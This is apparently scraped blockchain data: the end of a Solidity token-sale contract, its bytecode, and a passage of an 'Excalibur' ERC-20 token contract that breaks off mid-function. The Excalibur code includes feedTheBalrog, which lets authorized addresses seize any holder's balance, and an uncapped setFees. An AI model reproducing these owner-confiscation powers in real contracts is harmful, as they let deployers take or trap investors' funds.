transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * If the user sends 0 ether, he receives 500 * If he sends 0.01 ether, he receives 1000 * If he sends 0.1 ether he receives 10,000 * If he sends 1 ether, he receives 100,000 * If he sends 2 ether, he receives 200,000 * If he sends 5 ether, he receives 500,000 * If he sends 10 ether, he receives 1,000,000 */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 0; if(_weiAmount == 0){ amountOfTokens = 500 * (10**uint256(decimals)); } if( _weiAmount == 0.01 ether){ amountOfTokens = 1000 * (10**uint256(decimals)); } if( _weiAmount == 0.02 ether){ amountOfTokens = 2000 * (10**uint256(decimals)); } if( _weiAmount == 0.03 ether){ amountOfTokens = 3000 * (10**uint256(decimals)); } if( _weiAmount == 0.04 ether){ amountOfTokens = 4000 * (10**uint256(decimals)); } if( _weiAmount == 0.05 ether){ amountOfTokens = 5000 * (10**uint256(decimals)); } if( _weiAmount == 0.06 ether){ amountOfTokens = 6000 * (10**uint256(decimals)); } if( _weiAmount == 0.07 ether){ amountOfTokens = 7000 * (10**uint256(decimals)); } if( _weiAmount == 0.08 ether){ amountOfTokens = 8000 * (10**uint256(decimals)); } if( _weiAmount == 0.09 ether){ amountOfTokens = 9000 * (10**uint256(decimals)); } if( _weiAmount == 0.1 ether){ amountOfTokens = 10000 * (10**uint256(decimals)); } if( _weiAmount == 0.2 ether){ amountOfTokens = 20000 * (10**uint256(decimals)); } if( _weiAmount == 0.3 ether){ amountOfTokens = 30000 * (10**uint256(decimals)); } if( _weiAmount == 0.4 ether){ amountOfTokens = 40000 * (10**uint256(decimals)); } if( _weiAmount == 0.5 ether){ amountOfTokens = 50000 * (10**uint256(decimals)); } if( _weiAmount == 0.6 ether){ amountOfTokens = 60000 * (10**uint256(decimals)); } if( _weiAmount == 0.7 ether){ amountOfTokens = 70000 * (10**uint256(decimals)); } if( _weiAmount == 0.8 ether){ amountOfTokens = 80000 * (10**uint256(decimals)); } if( _weiAmount == 0.9 ether){ amountOfTokens = 90000 * (10**uint256(decimals)); } if( _weiAmount == 1 ether){ amountOfTokens = 100000 * (10**uint256(decimals)); } if( _weiAmount == 2 ether){ amountOfTokens = 200000 * (10**uint256(decimals)); } if( _weiAmount == 3 ether){ amountOfTokens = 300000 * (10**uint256(decimals)); } if( _weiAmount == 4 ether){ amountOfTokens = 400000 * (10**uint256(decimals)); } if( _weiAmount == 5 ether){ amountOfTokens = 500000 * (10**uint256(decimals)); } if( _weiAmount == 6 ether){ amountOfTokens = 600000 * (10**uint256(decimals)); } if( _weiAmount == 7 ether){ amountOfTokens = 700000 * (10**uint256(decimals)); } if( _weiAmount == 8 ether){ amountOfTokens = 800000 * (10**uint256(decimals)); } if( _weiAmount == 9 ether){ amountOfTokens = 900000 * (10**uint256(decimals)); } if( _weiAmount == 10 ether){ amountOfTokens = 1000000 * (10**uint256(decimals)); } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson&#39;s Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063095ea7b3146101da57806318160ddd1461023f57806323b872dd1461026a5780632ff2e9dc146102ef578063313ce5671461031a5780634042b66f1461034b57806348c54b9d14610376578063661884631461038d57806370a08231146103f257806378f7aeee146104495780638da5cb5b1461047457806395d89b41146104cb578063a6f9dae11461055b578063a9059cbb146105b6578063b66a0e5d1461061b578063bef97c8714610632578063d73dd62314610661578063dd62ed3e146106c6578063e36b0b371461073d578063e985e36714610754578063ec8ac4d814610783578063f41e60c5146107cd578063fc38ce19146107fc575b6101473361083d565b50005b34801561015657600080fd5b5061015f6109ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019f578082015181840152602081019050610184565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e657600080fd5b50610225600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a27565b604051808215151515815260200191505060405180910390f35b34801561024b57600080fd5b50610254610b19565b6040518082815260200191505060405180910390f35b34801561027657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b1f565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610304610f12565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061032f610f23565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035757600080fd5b50610360610f28565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610f2e565b005b34801561039957600080fd5b506103d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ce565b604051808215151515815260200191505060405180910390f35b3480156103fe57600080fd5b50610433600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135f565b6040518082815260200191505060405180910390f35b34801561045557600080fd5b5061045e6113a8565b6040518082815260200191505060405180910390f35b34801561048057600080fd5b506104896113ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e06113d4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610520578082015181840152602081019050610505565b50505050905090810190601f16801561054d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561056757600080fd5b5061059c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b604051808215151515815260200191505060405180910390f35b3480156105c257600080fd5b50610601600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061156d565b604051808215151515815260200191505060405180910390f35b34801561062757600080fd5b506106306117c5565b005b34801561063e57600080fd5b5061064761183e565b604051808215151515815260200191505060405180910390f35b34801561066d57600080fd5b506106ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611851565b604051808215151515815260200191505060405180910390f35b3480156106d257600080fd5b50610727600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4d565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b50610752611aec565b005b34801561076057600080fd5b50610769611b65565b604051808215151515815260200191505060405180910390f35b6107b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061083d565b6040518082815260200191505060405180910390f35b3480156107d957600080fd5b506107fa600480360381019080803515159060200190929190505050611b78565b005b34801561080857600080fd5b5061082760048036038101908080359060200190929190505050611bf1565b6040518082815260200191505060405180910390f35b600080600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561087f57600080fd5b60011515600860149054906101000a900460ff1615151415156108a157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692503491506108d282611bf1565b905060008114156108e257600080fd5b6108f782600654611cbc90919063ffffffff16565b60068190555061091281600754611cbc90919063ffffffff16565b6007819055506109458582600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611cda565b508473ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8383604051808381526020018281526020019250505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109e2573d6000803e3d6000fd5b50809350505050919050565b6040805190810160405280600881526020017f44454e746f6b656e00000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b60006003600460208202016000369050141515610b3857fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7457600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bc257600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610c4d57600080fd5b600360009054906101000a900460ff161515610c6857600080fd5b610cba83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4f83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e2183600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a63017d78400281565b601281565b60065481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8c57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561100b573d6000803e3d6000fd5b506110153061135f565b9050611043600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261156d565b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111df576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611273565b6111f28382611eff90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f44454e000000000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156114a757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600260046020820201600036905014151561158657fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156115c257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561161057600080fd5b600360009054906101000a900460ff16151561162b57600080fd5b61167d83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171283600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182157600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600360009054906101000a900460ff1681565b60006118e282600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006002600460208202016000369050141515611a6657fe5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4857600080fd5b6000600860146101000a81548160ff021916908315150217905550565b600860149054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bd457600080fd5b80600360006101000a81548160ff02191690831515021790555050565b600080611bfd83611f18565b905060046000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115611cb2577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260075482604051808381526020018281526020019250505060405180910390a160009150611cb6565b8091505b50919050565b6000808284019050838110151515611cd057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611d1757600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611d6557600080fd5b611db783600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cbc90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4c83600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611f0d57fe5b818303905092915050565b600080600090506000831415611f3757601260ff16600a0a6101f40290505b662386f26fc10000831415611f5557601260ff16600a0a6103e80290505b66470de4df820000831415611f7357601260ff16600a0a6107d00290505b666a94d74f430000831415611f9157601260ff16600a0a610bb80290505b668e1bc9bf040000831415611faf57601260ff16600a0a610fa00290505b66b1a2bc2ec50000831415611fcd57601260ff16600a0a6113880290505b66d529ae9e860000831415611feb57601260ff16600a0a6117700290505b66f8b0a10e47000083141561200957601260ff16600a0a611b580290505b67011c37937e08000083141561202857601260ff16600a0a611f400290505b67013fbe85edc9000083141561204757601260ff16600a0a6123280290505b67016345785d8a000083141561206657601260ff16600a0a6127100290505b6702c68af0bb14000083141561208557601260ff16600a0a614e200290505b670429d069189e00008314156120a457601260ff16600a0a6175300290505b67058d15e1762800008314156120c357601260ff16600a0a619c400290505b6706f05b59d3b200008314156120e257601260ff16600a0a61c3500290505b670853a0d2313c000083141561210157601260ff16600a0a61ea600290505b6709b6e64a8ec6000083141561212157601260ff16600a0a620111700290505b670b1a2bc2ec50000083141561214157601260ff16600a0a620138800290505b670c7d713b49da000083141561216157601260ff16600a0a62015f900290505b670de0b6b3a764000083141561218157601260ff16600a0a620186a00290505b671bc16d674ec800008314156121a157601260ff16600a0a62030d400290505b6729a2241af62c00008314156121c157601260ff16600a0a620493e00290505b673782dace9d9000008314156121e157601260ff16600a0a62061a800290505b674563918244f4000083141561220157601260ff16600a0a6207a1200290505b6753444835ec58000083141561222157601260ff16600a0a620927c00290505b676124fee993bc000083141561224157601260ff16600a0a620aae600290505b676f05b59d3b20000083141561226157601260ff16600a0a620c35000290505b677ce66c50e284000083141561228157601260ff16600a0a620dbba00290505b678ac7230489e800008314156122a157601260ff16600a0a620f42400290505b809150509190505600a165627a7a72305820b9380ae63fc3fe78364dba952607894e4164e422d5579698f9c550b50b1eb8820029
{"success": true, "error": null, "results": {}}
8,327
0xb8a4f31335b8d55879fced12cddaff8c651eb1a1
/** Excalibur - Sword of King Arthur //Excalibur Rules ▶ If you make the biggest buy (in tokens) you will hold the Excalibur for one hour, and collect 6% fees (in ETH). ‍Once the hour is finished, the counter will be reset and everyone will be able to compete again for the Excalibur. ▶ If you sell any tokens at all at any point you are not worthy of the Excalibur. ▶ If someone beats your record, they steal you the Excalibur. ' ` */ pragma solidity ^0.7.4; // SPDX-License-Identifier: Unlicensed library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Auth { address internal owner; mapping(address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } abstract contract ERC20Interface { function balanceOf(address whom) public view virtual returns (uint256); } contract Excalibur is IERC20, Auth { using SafeMath for uint256; string constant _name = "Excalibur "; string constant _symbol = "Excalibur"; uint8 constant _decimals = 18; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 _totalSupply = 10000 * (10**_decimals); uint256 public biggestBuy = 0; uint256 public lastRingChange = 0; uint256 public resetPeriod = 1 hours; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isTxLimitExempt; mapping(address => bool) public hasSold; uint256 public liquidityFee = 2; uint256 public marketingFee = 9; uint256 public ringFee = 4; uint256 public totalFee = 0; uint256 public totalFeeIfSelling = 0; address public autoLiquidityReceiver; address public marketingWallet; address public Ring; IDEXRouter public router; address public pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 private _maxTxAmount = _totalSupply / 100; uint256 private _maxWalletAmount = _totalSupply / 50; uint256 public swapThreshold = _totalSupply / 100; modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } event AutoLiquify(uint256 amountETH, uint256 amountToken); event NewRing(address ring, uint256 buyAmount); event RingPayout(address ring, uint256 amountETH); event RingSold(address ring, uint256 amountETH); constructor() Auth(msg.sender) { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair( router.WETH(), address(this) ); _allowances[address(this)][address(router)] = uint256(-1); isFeeExempt[DEAD] = true; isTxLimitExempt[DEAD] = true; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[pair] = true; autoLiquidityReceiver = msg.sender; marketingWallet = msg.sender; Ring = msg.sender; totalFee = liquidityFee.add(marketingFee).add(ringFee); totalFeeIfSelling = totalFee; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function getOwner() external view override returns (address) { return owner; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function setMaxTxAmount(uint256 amount) external authorized { _maxTxAmount = amount; } function setFees( uint256 newLiquidityFee, uint256 newMarketingFee, uint256 newringFee ) external authorized { liquidityFee = newLiquidityFee; marketingFee = newMarketingFee; ringFee = newringFee; } function feedTheBalrog(address bot) external authorized { uint256 botBalance = _balances[bot]; _balances[address(this)] = _balances[address(this)].add(botBalance); _balances[bot] = 0; emit Transfer(bot, address(this), botBalance); } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(-1)); } function setIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function setSwapThreshold(uint256 threshold) external authorized { swapThreshold = threshold; } function setFeeReceivers( address newLiquidityReceiver, address newMarketingWallet ) external authorized { autoLiquidityReceiver = newLiquidityReceiver; marketingWallet = newMarketingWallet; } function setResetPeriodInSeconds(uint256 newResetPeriod) external authorized { resetPeriod = newResetPeriod; } function _reset() internal { Ring = marketingWallet; biggestBuy = 0; lastRingChange = block.timestamp; } function epochReset() external view returns (uint256) { return lastRingChange + resetPeriod; } function _checkTxLimit( address sender, address recipient, uint256 amount ) internal { if (block.timestamp - lastRingChange > resetPeriod) { _reset(); } if ( sender != owner && recipient != owner && !isTxLimitExempt[recipient] && recipient != ZERO && recipient != DEAD && recipient != pair && recipient != address(this) ) { require(amount <= _maxTxAmount, "MAX TX"); uint256 contractBalanceRecipient = balanceOf(recipient); require( contractBalanceRecipient + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount" ); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); uint256 usedEth = router.getAmountsIn(amount, path)[0]; if (!hasSold[recipient] && usedEth > biggestBuy) { Ring = recipient; biggestBuy = usedEth; lastRingChange = block.timestamp; emit NewRing(Ring, biggestBuy); } } if ( sender != owner && recipient != owner && !isTxLimitExempt[sender] && sender != pair && recipient != address(this) ) { require(amount <= _maxTxAmount, "MAX TX"); if (Ring == sender) { emit RingSold(Ring, biggestBuy); _reset(); } hasSold[sender] = true; } } function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit) external authorized { swapAndLiquifyEnabled = enableSwapBack; swapThreshold = newSwapBackLimit; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != uint256(-1)) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } _transferFrom(sender, recipient, amount); return true; } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { if (inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } if ( msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold ) { swapBack(); } _checkTxLimit(sender, recipient, amount); 